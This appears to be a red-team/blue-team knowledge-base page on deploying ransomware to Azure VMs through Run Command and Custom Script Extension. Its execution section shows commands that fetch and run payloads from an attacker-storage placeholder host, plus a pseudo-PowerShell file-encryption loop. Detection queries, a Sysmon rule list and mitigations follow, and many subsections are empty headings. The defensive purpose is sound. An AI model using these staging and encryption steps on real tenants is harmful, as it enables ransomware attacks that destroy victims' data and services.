MCADDF

[IMPACT-RANSOM-001]: Ransomware Deployment Azure VMs

1. METADATA HEADER

Metadata

| Attribute | Details | |—|—| | Technique ID | IMPACT-RANSOM-001 | | Technique Name | Ransomware Deployment Azure VMs | | MITRE ATT&CK v18.1 | Data Encrypted for Impact (T1486) – https://attack.mitre.org/techniques/T1486/ | | Tactic | Impact | | Platforms | Azure IaaS, Entra ID, Windows Server 2016–2025, Linux VMs | | Environment | Entra ID / Azure VMs (Windows & Linux) | | Severity | Critical | | CVE | N/A (multiple ransomware families and tooling) | | Technique Status | ACTIVE | | Last Verified | 2026-01-10 | | Affected Versions | Azure IaaS VMs (all SKUs), Windows Server 2016–2025, major Linux distributions, Azure Backup/Storage when misconfigured | | Patched In | N/A – relies on abuse of legitimate VM management & identity features; mitigated via hardening, EDR, backup and RBAC controls | | Author | SERVTEP – Artur Pchelnikau |

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description (Failure Mode)
CIS Azure Foundations CIS AZURE 3.4, 4.1, 4.2 Weak logging, monitoring and backup configuration for compute and storage allows undetected ransomware deployment and no usable restore points.
DISA STIG MS Azure Compute STIG: V-XXXXX (logging), V-YYYYY (backup) Insufficient audit of administrative operations and inadequate backup/restore protections for mission systems hosting DoD workloads.
CISA SCuBA Logging & Monitoring, Data Protection Failure to centralize and monitor cloud workload logs and to protect backups against tampering enables large‑scale impact.
NIST SP 800‑53 Rev.5 CP-9, CP-10, SI-3, SI-4, AC-6 Weak backup (CP‑9/CP‑10) and malware protections (SI‑3/SI‑4), plus excessive privilege (AC‑6), enable data encryption for impact.
GDPR Art. 32, 33, 34 Inadequate technical and organizational measures to ensure ongoing availability and resilience of processing systems can constitute a violation; outages may trigger breach notification obligations.
DORA Art. 5, 11 Insufficient ICT risk management and operational resilience planning for cloud workloads leads to prolonged unavailability of critical services.
NIS2 Art. 21 Lack of incident handling, business continuity, and crisis management for cloud‑hosted services affected by ransomware.
ISO 27001:2022 A.5.15, A.5.28, A.8.13 Poor backup strategy, inadequate protection against malware, and weak secure configuration for cloud infrastructure.
ISO 27005 Risk Scenario: “Cloud production workload encrypted by ransomware, backups destroyed” High‑impact risk affecting confidentiality, integrity, and especially availability of critical business services.

3. TECHNICAL PREREQUISITES

Supported Versions:

4. ENVIRONMENTAL RECONNAISSANCE

Management Plane Reconnaissance (Azure CLI / PowerShell)

Objective: Identify target VMs, their OS, attached disks, and backup coverage to prioritise ransomware deployment for maximum impact.

Azure CLI – List VMs and OS types

az vm list -d -o table

What to Look For:

Azure CLI – List managed disks and snapshots

az disk list -o table
az snapshot list -o table

What to Look For:

Azure PowerShell – Enumerate VM backup status

Connect-AzAccount
Get-AzRecoveryServicesVault | Set-AzRecoveryServicesVaultContext
Get-AzRecoveryServicesBackupItem -WorkloadType AzureVM | 
  Select-Object ContainerName, FriendlyName, ProtectionStatus, LastBackupTime

What to Look For:

Guest Reconnaissance (Inside VM)

Once the attacker has access inside a VM (via Run Command, RDP, or SSH):

Windows – Disk and share enumeration

Get-Volume | Where-Object {$_.DriveType -eq 'Fixed'}
Get-SmbShare

Linux – Mounts and data paths

lsblk
mount | egrep 'ext4|xfs|btrfs'

What to Look For:

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Using Azure VM Run Command (Windows VM)

Supported Versions: Azure VMs running Windows Server 2016–2025 with Azure VM Agent installed.

Step 1: Stage Ransomware Payload from Attacker‑Controlled Storage

Objective: Download the ransomware binary or script into the VM using Run Command.

Command (Azure CLI):

az vm run-command invoke \
  --resource-group <RG_NAME> \
  --name <VM_NAME> \
  --command-id RunPowerShellScript \
  --scripts "Invoke-WebRequest -Uri 'https://<attacker-storage>/payload.exe' -OutFile 'C:\\Windows\\Temp\\payload.exe'"

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Execute Ransomware Binary via Run Command

Objective: Launch ransomware process with appropriate privileges.

Command:

az vm run-command invoke \
  --resource-group <RG_NAME> \
  --name <VM_NAME> \
  --command-id RunPowerShellScript \
  --scripts "Start-Process -FilePath 'C:\\Windows\\Temp\\payload.exe' -ArgumentList '/silent'"

Expected Output:

What This Means:

OpSec & Evasion:

References & Proofs:

METHOD 2 – Using Custom Script Extension (Windows or Linux)

Supported Versions: Azure VMs with Azure VM Agent; Windows Server 2016–2025 and major Linux distros.

Step 1: Deploy Malicious Custom Script Extension

Objective: Use the Azure control plane to execute a script that downloads and runs ransomware.

Command (Windows example – Azure CLI):

az vm extension set \
  --publisher Microsoft.Compute \
  --name CustomScriptExtension \
  --resource-group <RG_NAME> \
  --vm-name <VM_NAME> \
  --settings '{"fileUris": ["https://<attacker-storage>/payload.ps1"],
               "commandToExecute": "powershell -ExecutionPolicy Bypass -File payload.ps1"}'

Linux variant (bash script):

az vm extension set \
  --publisher Microsoft.Azure.Extensions \
  --name CustomScript \
  --resource-group <RG_NAME> \
  --vm-name <VM_NAME> \
  --settings '{"fileUris": ["https://<attacker-storage>/payload.sh"],
               "commandToExecute": "bash payload.sh"}'

Expected Output:

OpSec & Evasion:

References & Proofs:

Step 2: Encrypt Attached Data Disks and Mounted Shares

The script (payload.ps1 / payload.sh) typically:

High‑Level Pseudo‑PowerShell:

$targetExtensions = '.docx','.xlsx','.pdf','.sql','.bak','.vhdx','.vhd'
Get-Volume | Where-Object DriveType -eq 'Fixed' | ForEach-Object {
  $drive = "$($_.DriveLetter):\"
  Get-ChildItem -Path $drive -Recurse -File -ErrorAction SilentlyContinue |
    Where-Object {$targetExtensions -contains $_.Extension} |
    ForEach-Object {
      # Encrypt content (placeholder for real crypto)
      $bytes = [System.IO.File]::ReadAllBytes($_.FullName)
      $enc   = [CustomCrypto]::Encrypt($bytes, $Global:Key)
      [System.IO.File]::WriteAllBytes($_.FullName, $enc)
    }
}

6. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Atomic Red Team

Example Execution (PowerShell – Windows ransom note):

Invoke-AtomicTest T1486 -TestNumbers 9

Cleanup Command:

Invoke-AtomicTest T1486 -TestNumbers 9 -Cleanup

Reference:

7. TOOLS & COMMANDS REFERENCE

Azure CLI – VM Run Command & Extensions

Version: Latest stable (2.62+ recommended).

Installation (Windows):

Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile .\AzureCLI.msi
Start-Process msiexec.exe -Wait -ArgumentList '/I AzureCLI.msi /quiet'

Basic Usage:

az login
az vm list -o table
az vm run-command invoke --help

Version-Specific Notes:

8. SPLUNK DETECTION RULES

Rule 1: Suspicious Use of Azure VM Run Command Followed by High File Activity

Rule Configuration:

SPL Query (conceptual):

index=azure sourcetype="azure:monitor:activity" 
| where operationName="Microsoft.Compute/virtualMachines/runCommand/action"
| stats latest(_time) as run_cmd_time by correlationId, resourceId, caller
| rename resourceId as vm_resource
| join type=inner vm_resource [
  search index=wineventlog (sourcetype="WinEventLog:Security" OR sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational")
  | eval file_event = if(EventCode IN (4663,11),1,0)
  | stats count(file_event) as file_events by host, bin(_time, 5m)
  | where file_events > 500
]
| table run_cmd_time, caller, vm_resource, host, file_events

What This Detects:

Manual Configuration Steps:

  1. In Splunk Web, go to Search & Reporting and validate the query.
  2. Then go to Settings → Searches, reports, and alerts and create a New Alert with this SPL.
  3. Set alert to trigger on Number of Results > 0 in a 15‑minute window.
  4. Configure email/Slack/SOAR actions to notify SOC and auto‑isolate the VM.

9. MICROSOFT SENTINEL DETECTION

Query 1: Azure Run Command + Potential Ransomware on VM

Rule Configuration:

KQL Query:

let RunCommandOps = AzureActivity
  | where OperationNameValue =~ "MICROSOFT.COMPUTE/VIRTUALMACHINES/RUNCOMMAND/ACTION"
  | where ActivityStatusValue =~ "Succeeded"
  | project RunTime = TimeGenerated, Caller, CorrelationId, VM = ResourceId;
let RansomLikeActivity = SecurityEvent
  | where EventID == 4663
  | where ObjectName has_any (".docx", ".xlsx", ".pdf", ".sql", ".bak")
  | summarize FileOps = count() by bin(TimeGenerated, 5m), Computer
  | where FileOps > 500;
RunCommandOps
| join kind=inner (
  RansomLikeActivity
  | project TimeGenerated, Computer, FileOps
) on $left.RunTime <= $right.TimeGenerated and $right.TimeGenerated <= $left.RunTime + 30m
| project TimeGenerated, Caller, VM, Computer, FileOps

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Azure Portal → Microsoft Sentinel → select workspace.
  2. Go to Analytics → + Create → Scheduled query rule.
  3. Paste the KQL, set frequency to 5 minutes, look‑back 30 minutes.
  4. Set severity to High and enable Create incidents.
  5. Add playbook automation to isolate the VM or disable the NIC.

10. WINDOWS EVENT LOG MONITORING

Relevant Event IDs (Windows VMs):

Manual Configuration Steps (Group Policy to enable Process Creation auditing):

  1. Open gpmc.msc.
  2. Navigate to Computer Configuration → Policies → Windows Settings → Security Settings → Advanced Audit Policy Configuration → System Audit Policies → Detailed Tracking.
  3. Enable Audit Process Creation (Success, Failure).
  4. Run gpupdate /force on target Azure VMs (or ensure policy refresh).

11. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

Example Sysmon Config Snippet (Monitor suspicious encryption tools & mass file writes):

<Sysmon schemaversion="4.50">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">7z.exe</CommandLine>
      <CommandLine condition="contains">gpg.exe</CommandLine>
      <CommandLine condition="contains">-enc</CommandLine>
    </ProcessCreate>
    <FileCreate onmatch="include">
      <TargetFilename condition="ends with">.akira</TargetFilename>
      <TargetFilename condition="ends with">.lockbit</TargetFilename>
      <TargetFilename condition="ends with">.crypt</TargetFilename>
    </FileCreate>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals – https://learn.microsoft.com/sysinternals/downloads/sysmon
  2. Save the config as sysmon-config.xml and install: 
    sysmon64.exe -accepteula -i sysmon-config.xml
  3. Forward Sysmon logs to Sentinel / Splunk via the Log Analytics agent or Splunk UF.

12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Example Alerts (Azure VMs & Storage):

Manual Configuration Steps (Enable Defender for Servers & Storage):

  1. Azure Portal → Microsoft Defender for Cloud.
  2. Go to Environment settings → select subscription.
  3. Under Defender plans, enable: Defender for Servers, Defender for Storage, Defender for SQL as relevant.
  4. Ensure integration with Microsoft Sentinel is enabled to surface alerts.

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Although this technique targets Azure VMs, ransomware operations often extend to M365 storage (OneDrive/SharePoint/Teams) through synced clients. Similar detection logic for abnormal file rename patterns can be applied using Purview Unified Audit Log.

Example Query – Suspicious File Renames in OneDrive/SharePoint (ransomware‑like):

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-1) -EndDate (Get-Date) \
  -Operations FileRenamed -ResultSize 5000 |
  Where-Object { $_.Workload -in @('OneDrive','SharePoint') }

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Action 1: Enforce Strong Identity & Least Privilege for Azure VM Management

Manual Steps (Azure Portal):

  1. Azure Portal → Entra ID → Roles and administrators.
  2. Review assignments for high‑privilege roles; remove unnecessary accounts.
  3. Enable PIM for those roles and configure approval workflow + MFA for activation.
  4. Require Conditional Access for privileged roles (MFA, compliant devices).

Action 2: Harden Backups and Snapshots (Immutable & Isolated)

Manual Steps (Azure Portal):

  1. Recovery Services vault → Properties → Enable Soft Delete / Enhanced Soft Delete.
  2. Configure immutability (immutable vaults) and retention long enough to cover ransomware dwell times.
  3. Use a dedicated subscription/tenant for backup administration to isolate from production compromise.

Action 3: Endpoint Protection on All Azure VMs

Priority 2: HIGH

Action: Network Segmentation & Just‑In‑Time (JIT) Access

Manual Steps:

  1. Azure Portal → Microsoft Defender for Cloud → Workload protections → Just-in-time VM access.
  2. Enable JIT for all internet‑facing VMs; restrict source IPs and allowed ports.

Access Control & Policy Hardening

Conditional Access:

RBAC/ABAC:

Validation Command (Verify Run Command Restrictions)

az role definition list --name "Custom-VM-Operator" | ConvertFrom-Json | 
  Select-Object -ExpandProperty permissions | 
  Where-Object { $_.actions -like '*Microsoft.Compute/virtualMachines/runCommand/*' }

Expected Output (If Secure):

15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate Affected VMs
    • Azure Portal: VM → Networking → remove NIC from production subnet or apply NSG rule to block all inbound/outbound.
    • PowerShell quick isolation: 
      Stop-AzVM -Name <VM_NAME> -ResourceGroupName <RG_NAME> -Force
  2. Collect Evidence
    • Export Azure Activity Logs for timeframe of compromise.
    • On Windows VMs: 
      wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
  3. Eradicate & Recover
    • Do not attempt to “clean” encrypted VMs in place; instead:
      • Restore from known‑good VM backups or disk snapshots (Azure Backup / Disk Backup).
      • Rotate all credentials and secrets used by workloads on those VMs.
    • Validate restoration by scanning with Defender for Endpoint before reconnecting to production networks.
Step Phase Technique Description
1 Initial Access IA-PHISH-001 / IA-VALID-001 Phishing or valid account abuse to gain Entra ID / Azure portal access.
2 Privilege Escalation PE-VALID-010 / PE-ACCTMGMT-011 Escalate to high‑privilege Azure roles (Owner, GA, Subscription Contributor).
3 Current Step [IMPACT-RANSOM-001] Ransomware Deployment Azure VMs Use Run Command / Custom Script / RDP/SSH to execute ransomware on Azure VMs.
4 Defense Evasion & Impact T1490 / T1485 Delete backups, snapshots, and logs; inhibit recovery and destroy additional data.
5 Impact & Extortion T1486 + Exfiltration Maintain encryption, possibly exfiltrate data, and extort victim for decryption key and non‑leak promises.

17. REAL-WORLD EXAMPLES

Example 1: Ransomware Targeting Cloud Storage & Azure Workloads

Example 2: Weaponising VMs to Bypass EDR (Akira)

This site is open source. Improve this page.